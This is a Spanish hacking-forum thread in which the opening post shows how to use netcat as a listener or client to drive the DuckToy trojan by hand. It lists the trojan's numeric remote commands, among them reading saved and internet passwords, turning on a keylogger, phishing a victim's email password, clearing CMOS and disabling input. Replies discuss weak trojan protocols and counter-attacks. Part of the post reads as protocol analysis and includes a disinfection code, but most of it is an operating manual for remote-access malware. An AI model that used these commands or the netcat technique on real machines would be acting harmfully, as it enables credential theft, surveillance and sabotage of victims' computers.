elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Marzo 2010, 12:03  


Temas destacados: Últimos eventos sobre seguridad/inseguridad


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, kamsky, averno)
| | |-+  Usando netcat como herramienta de control de Aplicaciones remotas
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Usando netcat como herramienta de control de Aplicaciones remotas  (Leído 2366 veces)
50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Usando netcat como herramienta de control de Aplicaciones remotas
« en: 19 Agosto 2009, 00:59 »

Bueno hace mucho que no realizo tutoriales, asi que si me explico mal solo hace falta preguntarme jeje  ;D

Hoy aprenderemos como poder controlar un troyano desde netcat por la parte del cliente o del servidor

Este fallo surge por parte del programador al no cerrar la conexion correctamente dejando que las conexiones se establezan aun si una parte del software no existe, y que nosotros aprovecharemos para leer con netcat

Bueno para que no se os haga tanto coñazo quizas, os pondre la miel en los labios, que os pareceria saberte parte de la estructura de un troyano famosisimo del cual no se ha publicado el codigo?, saber que paquetes lanza para cada cosa, saber como desinfectarte por terminal con una sola orden, ejecutar aplicaciones o lo que sea por netcat al usuario remoto

Haciendo de Servidor con netcat



1: Pondremos a netcat a la escucha de servidor:

nc -vvLp 1234 'pongo a netcat a la escucha y en reconexion por el puerto 1234 y que me de todos los datos de la conexion, en doble verbose


2: Nos conectaremos con el troyano ducktoy en este ejemplo,si no saben usar el ducktoy hay mucha info en google, tambien podeis coger otro troyano

No os preocupeis por el patito, que no se enciende pero esta conectado :P, ya que el ducktoy informa de que si esta conectado si el servidor le manda continuamente un determinado paquete

Ahora con la imagen, vereis mas claro el concepto de este tutorial, que es averiguar que paquetes se mandan entre servidor y cliente

Una vez hecho esto, la conexion esta realizada y podremos examinar los paquetes que se mandan, en este caso el ducktoy funciona con numeros ;).Como observareis en la foto anterior, aparecio el numero 125 que sirve para informar que la conexion esta establecida

3: Averiguando el numero de las funciones, para despues poder usarlas

Cada vez que des click a una determinada opcion del troyano, aparecera unos numeros mas, esos que hayan aparecido seran los que se usan para determinada opcion, por ej:



034: sirve para apagar windows como ven

Bueno, aqui os pondre otros ejemplos de los numero de las funciones:


Funciones del cliente Ducktoy:



Opciones del Server:
125: Iniciar conexion LO PRIMERO DE TODO
081: Desinfectar Ordenador MUY IMPORTANTE SI ESTAS INFECTADO¡¡¡
080: Cerrar puertos de server
082: Restaurar Server


Informacion:

001: Buscar info de la victima

Boot:

033: Suspender windows
036: Reiniciar windows
035: Apagar windows forzado
037: Bloquear Windows

Portapapeles:

029: Leer portapapeles
030ola: Poner "ola" en el portapapeles, se puede modificar el "ola"
031: Borrar portapapeles
0321: Bloquear portapapeles
0320: Desbloquear portapapeles

Fecha/Hora:

01322:00 AM : Poner hora, las 22:00 estan de ejemplo
01411/11/1991: Poner la fecha 11/11/1991 en su fecha, esta se puede cambiar acordaros
015: Leer fecha y hora

Volumen:

141: Leer el nivel de volumen
141(0 a 65535): Por ejemplo, si quiero dejarle sin volumen escribira "1410", o si se lo quiero poner a tope "14165535"
142: Mostrar dialogo de volumen
1431: Reproducirle el sonido de inicio de windows
1432: Reproducirle el sonido de cierre de windows

Raton:

0161: Colocar los botones del raton al reves
0160: Colocar los botones normalmente
0171: Raton loco
0170: Raton normal
0181: Bloquear raton
0180: Desbloquear raton
130: Obtener posicion del raton
021932,(0 a 1000): Mover el raton segun la coordenada, por ej 021931,600 para moverla al medio aprox

Mensajes:

texto8titulo: En texto se pondria el texto del mensaje y en titulo, el titulo, por ej: ola8saludo

El ducktoy tiene soporte para iconos pero no e conseguido diferenciar como se distingue de cada uno, quizas el caracter no se represente en pantalla

Bromas1:

0021: Poner escritorio
0020: Quitar escritorio
0031: Poner Boton de inicio
0030: Quitar boton de inicio
0041: Poner barra de tareas
0040: Quitar barra de tareas
0051: Poner systray
0050: Quitar systray
0061: Poner reloj
0060: Quitar reloj
0421: Poner task rebar
0420: Quitar task rebar
0121: Abrir cd rom
0120: Cerrar cdrom
0081: Activar ctrl + alt + supr
0080: Desactivar ctrl + alt + supr
0091: Activar Scroll lock
0090: Desactivar Scroll lock
0101: Activar Caps lock
0100: Desactivar Caps lock
0111: Activar Num Lock
0110: Desactivar Num Lock
0071: Activar Monitor
0070: Desactivar Monitor

Bromas 2:

025: Desactivar teclado
026: Salvapantallas
027: Abrir menu de inicio
028: Deshabilitar salvapantallas
050: Quitar el fondo de pantalla
051: Minimizar todas las ventanas
099: Vaciar papelera
114mailvictima@hotmail.com: Esto es super rastrero, pedirle la contraseña a la victima de su mail u otro
115: Leer la contraseña
134: Leer nombre de pc
052nombre: Cambiar nombre de pc para el siguiente reinicio

Ping pong (dudo que por netcat puedas jugar jj pero weno):

1350: Abrirle el ping pong
138138: Cerrarle el ping pong

Resolucion:

072: Obtener resoluciones

Chat:

074(0-100): Abrirle un chat de % de tamaño, ej: abrir chat de toda la pantalla 074100

076tunick - mensaje: Una vez abierto el chat, mandar un mensaje con tu nick y el texto ejemplo, decirle que tal y mi nick es 50l3r; 07650l3r - que tal

075: Cerrarle el chat

Keylogger:

131texto: Enviarle un texto ej 131prueba
077110: habilitar keylogger

Impresora:

Bueno, esta se complica un poco, y va siendo asi el codigo

079texto 0 0 0 0 tamaño

texto: el texto que queramos imprimir
primer 0: Negrita
segundo 0: Cursiva
Tercer 0: Subrayado
cuarto 0: Tachado
tamaño: El tamaño de la fuente

ej de un texto impreso con negrita y crusiva en tamaño 12

079este es un texto impreso 1 1 0 0 12

Passwords:

085: Leer contraseñas
095: Contraseñas de internet

Pantalla:

117: Pantalla normal
112: Invertir colores
116: Dibujar en la pantalla
120: Invertir horizontalmente la pantalla
121: Voltear la pantalla hacia abajo
124: Subir la pantalla
119: Girar la pantalla hacia la izquierda
118: Girar la pantalla hacia la derecha
123: Llevar la pantalla a la izquierda

Iexplorer:

024http://www.SPAM(0): Abrir pagina web
024mailto: mi_mail@mail.com: Enviar mail
112http://www.el-hacer.net: Poner pagina de inicio
111: Ver la pagina de inicio actual
110: Cerrar ventanas de iexplorer
1030: Habilitar boton cerrar de iexplore
1031: Deshabilitar boton cerrar de iexplore
105: Habilitar/Deshabilitar boton de favoritos
107: Habilitar/Deshabilitar Opciones
109: Habilitar/Deshabilitar Descargar cosas

Conexiones de Red:

089: Ver conexiones de red
093: Desconectarle internet
094: Crear nueva conexion

Buscar Archivos:

Al igual que imprimir tiene varias opciones

0archivo.txt:\directorio

0-1: Buscar (1) o no buscar (0) en subdirectorios
archivo.txt: colocar el nombre y extension de archivo, se puede usar comodines
:\directorio:carpeta en la que se busca

CPU:

097: Borrar CMOS
0981: Habilitar beeps
0980: Deshabilitar beeps



Todas las anteriores funciones son las que incorpora el ducktoy a las cuales las agrega un numero para que haga determinada cosa, no e puesto algunas que no servirian ya que necesitarias interfaz grafica para visualizarlo

Ahora llega la hora de colocar a netcat como cliente, usar alguna funcion y ver la respuesta :P

Usando netcat como cliente y obtener info y realizar mandatos



1: Creamos el servidor local, con un puerto y ejecutamos el server, estara corriendo ahora por dicho puerto, una vez ejecutado conectamos el netcat a ese puerto de esta manera

nc 127.0.0.1 "puerto" ' en el puerto ponen el que colocaron en el server con el que os habeis infectado


2: No os saldra nada de nada, pues bien, como el cliente hizo con nosotros, ahora ejecutaremos el inicio de conexion escribiendo el numero de inicio que era 125


3: Somos unos genios, nos hemos conectado :), ahora podremos hacer lo que queramos con todo ese codigo, probemos por ejemplo a obtener info de la victima ejecutando el numero 001:


4: et voila, aqui esta toda la info de mi pc jejeje, por ultimo, cogeremos lo que tengo pegado en el portapapeles con el numero 029





La mayoria de los troyanos tienen este defecto, yo al mio se lo he dejado asi ya que como es de codigo libre me da igual pero para que veais una prueba de la conexion, ojo el mio es conexion inversa, quiere decir que el se conecta a mi no yo a el, entonces el cliente es el que escucha y el servidor el que se conecta:

Conectando con mi troyano:

Le doy la orden de que me de las unidades del sistema:

Ahora me pongo por parte del cliente y le creo un archivo:


Bueno como veran en mi "troyano" para crear un archivo tienes que escribir cuarenta mil caracteres ademas de que despues cada x segundos te manda el nick de la victima y los archivos del directorio principal, todo un "LOGRO" ¬¬ hhahaha

Os quiero recordad que es valido apra todo troyano, solo es necesario que lo intenteis

Nota: con el bifrost, en netcat no funciona, salen caracteres raros :C

Bueno hasta aqui ha llegado la teoria, ahora os toca a vosotros fardar de que manejais un troyano entero por terminal, ahi os lo dejo haha

saludos ;)

En línea

fede_cp

Desconectado Desconectado

Mensajes: 463


"porque pensar nunca fue entender"


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #1 en: 19 Agosto 2009, 01:42 »

Muy bueno soler, de esta manera se puede hacer un contra-ataque,o un ataque, pero generalmente si es un fallo del atacante, la victima podria aprovecharse de esto, muy interesante.

saludos
En línea

somos lo que hacemos para cambiar lo que somos

http://elhackerblog.blogspot.com el blog de elhacker.net!!
Atry

Desconectado Desconectado

Mensajes: 88



Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #2 en: 19 Agosto 2009, 02:40 »

Que buen aporte me a encantado  :o
En línea



Le parkour!
mI video! ---> http://www.youtube.com/watch?v=nT9A8L4eK9M
Espero k os guste ;D
50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #3 en: 19 Agosto 2009, 21:44 »

la verdad qu esta curioso, asi podras vacilar sino, como si te hubiese infectado, y cuando te intentase hacer las cosas le dices ooo pero que me has hecho jajaja  :xD
En línea

Novlucker
Moderador Global
*****
Conectado Conectado

Mensajes: 7.311


Yo que tu lo pienso dos veces!


Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #4 en: 19 Agosto 2009, 21:52 »

En realidad es bastante común esto ... en el caso de los troyanos hablamos de una conexión TCP/UDP (socket) en donde generalmente se envía y recibe texto plano a modo de ordenes y respuestas (estas últimas pueden no ser texto plano), así que con netcat tal y como has mostrado se puede conectar al servidor, recibir ordenes, y enviar el texto (respuesta) que se quiera :D

Pongo como ejemplo los troyanos "comunes" porque pueden haber programas donde la comunicación vaya cifrada/codificada

Saludos
« Última modificación: 19 Agosto 2009, 21:55 por Novlucker » En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #5 en: 19 Agosto 2009, 21:57 »

como es en el caso de bifrost que o usa caracteres en los que por terminal no se visualizan bien o van codificados

Pero que en troyanos o aplicaciones que no te lo esperas como es en el caso de ducktoy, te encuentras eso, que aprender mas sobre el troyano y que a partir de ahora sabras que toda aplicacion que no se libere code al menos la puedes ver su parte remota
En línea

Karcrack

Desconectado Desconectado

Mensajes: 1.360


Se siente observado ¬¬'


Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #6 en: 19 Agosto 2009, 23:42 »

Buen tuto...

Pero los buenos troyanos no deberia permitir que se hiciera eso... la informacion siempre encriptada...

Ademas, si yo hiciera un troyano ( :rolleyes:) no dejaria la informacion 'tan' legible... quiero decir... que ademas de enviarla comprimida&&encriptada no seria legible porque como cadenas para el split no pondria saltos de linea y tal... asi que dar gracias al coder del DuckToy :xD
« Última modificación: 19 Agosto 2009, 23:47 por Karcrack » En línea

Hacker_Zero

Desconectado Desconectado

Mensajes: 682


CASI Nunca digas es imposible....


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #7 en: 20 Agosto 2009, 00:34 »

A parte de que para dar órdenes al servidor, no se suele enviar algo tipo "iniciarcapturadepantalla" sinó que basta con enviar un byte, con eso ya tienes posibilidad 256 y aunque no tuviera encriptación, el protocolo que siguen no suele permitir éstas cosas.

De todas formas buen trabajo, que no piense la gente los los programas funcionan por arte de magia  ;D.

Saludos
En línea

50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #8 en: 20 Agosto 2009, 00:51 »

ahi la has dado hacker_zero, cuando yo no programaba en nada, solo batch, no me imaginaba como se hacian los programas, pero cuando lo ves se te abren los ojos y ves un mundo nuevo con muchas posibilidades  :rolleyes:
En línea

kamsky
Moderador
*****
Desconectado Desconectado

Mensajes: 1.919


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #9 en: 21 Agosto 2009, 12:57 »

buen tuto
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #10 en: 19 Noviembre 2009, 23:00 »

me gusta que os agrade, la verdad me costo, hacerlo mucho

si alguien quiere que saque los codigos de algun troyano, se lo puedo realizar y psotear aqui

pd: bifrost,poison ivy y prorat no funcionan con este metodo
En línea

alexkof158

Desconectado Desconectado

Mensajes: 307



Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #11 en: 21 Noviembre 2009, 08:12 »

me gusta que os agrade, la verdad me costo, hacerlo mucho

si alguien quiere que saque los codigos de algun troyano, se lo puedo realizar y psotear aqui

pd: bifrost,poison ivy y prorat no funcionan con este metodo
tremendo esto cuando empeze a usar troyanos me pregunte si se podria contratacar,
y aki esta el claro ejemplo, primer tuyo que veo acerca de esto en la red, muy pocos lo conocen, pero el primer Informante en la comunidad fuiste tu 50l3r , muchas gracias por compartir esta informacion.
Saludos  :P
En línea

50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #12 en: 21 Noviembre 2009, 12:22 »

de nada, la informacion es libre ^^
En línea

Novlucker
Moderador Global
*****
Conectado Conectado

Mensajes: 7.311


Yo que tu lo pienso dos veces!


Ver Perfil
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #13 en: 21 Noviembre 2009, 20:30 »

alexkof158, como se supone que sirve esto para contratacar?  :rolleyes:
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

50l3r

Desconectado Desconectado

Mensajes: 631


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: Usando netcat como herramienta de control de Aplicaciones remotas
« Respuesta #14 en: 22 Noviembre 2009, 10:57 »

no sirve para contraatacar, a no ser que el autor del troyano haya puesto un paquete del lado del infectado, que le haga algo al atacante

eso lo pensaba hacer yo muahaha  :xD
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC